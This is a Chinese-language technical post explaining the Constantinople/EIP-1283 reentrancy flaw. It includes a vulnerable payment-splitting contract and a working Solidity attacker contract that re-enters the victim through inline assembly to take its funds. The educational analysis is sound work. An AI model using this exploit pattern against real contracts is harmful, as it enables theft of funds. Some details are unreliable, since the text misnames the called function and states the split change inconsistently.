君士坦丁堡分叉漏洞简析

本文主要信息译自
Constantinople enables new Reentrancy Attack​

昨天早上起床后,就接到漫天的消息,君士坦丁堡分叉被延后了,原因是升级代码中有重大漏洞。在网上搜集相关资料,然后就找到了上边这篇文章,下边就根据我自己的理解,简单讲一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.5.0;

contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;

function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}

function deposit(uint id) public payable {
deposits[id] += msg.value;
}

function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}

function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split

// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;

a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}

首先有一个PaymentShare合约,简单来说就是一个用户可以向这个合约充值,合约可以根据一定的比例,将资金分配给两个地址。分配比例可以通过调用修改。因为是示例代码,所以我们暂时不用去管函数调用权限等问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
address private victim;
address payable owner;

constructor() public {
owner = msg.sender;
}

function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}

function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}

function drain() external {
owner.transfer(address(this).balance);
}
}

这个合约就是攻击合约,他的攻击流程是这样的:

  • 攻击合约将自己的合约地址(我们简称A)和另外一个由攻击者可控制的地址(我们简称B)设置为PaymentShare的资金分配地址。
  • 将PaymentShare的资金分配比例修改为100:0;
  • 调用PaymentShare的资金分配函数,启动分配;
  • 当PaymentShare将资金transfer给A的时候,会触发合约的匿名函数。其中有两行汇编代码,其基本含义是调用PaymentShare的修改分配比例函数,修改资金分配比例为0:100;
  • 合约继续执行,对地址B进行资金分配。本来应该transfer给B 0%的资金,但是因为上一步的操作,变成了继续给B transfer 100%的资金。

假设合约的攻击者在PaymentShare中存储了100ETH,经过上述的操作,攻击者就从中转出了200ETH,成功盗取了合约的资产。

粗看上去,这些可能和君士坦丁堡升级没有任何关系。毕竟这里没有涉及任何新的EVM操作符。但是君士坦丁堡升级的一项内容,影响了这里的一个操作。在 EIP1283中,重新规定了SSTORE这个操作符的收费逻辑。在某些情况下,GAS的花费甚至降到了200。
我们来具体分析一下攻击的细节:
当A地址收到转账后,会触发匿名函数,匿名函数中直接使用了两行汇编操作;

1
2
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))

第一行代码相当于存储一个临时变量在内存,变量的值为PaymentShare中的splitFunds函数地址。

第二行代码主要就是调用splitFunds函数,将分配比例改为100:0。
这其中使用到sstore的地方主要是splitFunds中,修改分配比例。

transfer操作默认会提供2300GAS。在君士坦丁堡之前,SSTORE操作需要5000GAS,会将所有GAS耗尽,导致transfer失败,但是现在SSTORE操作的GAS在特定情况下只需要200GAS,导致以上的攻击方式成为了可能。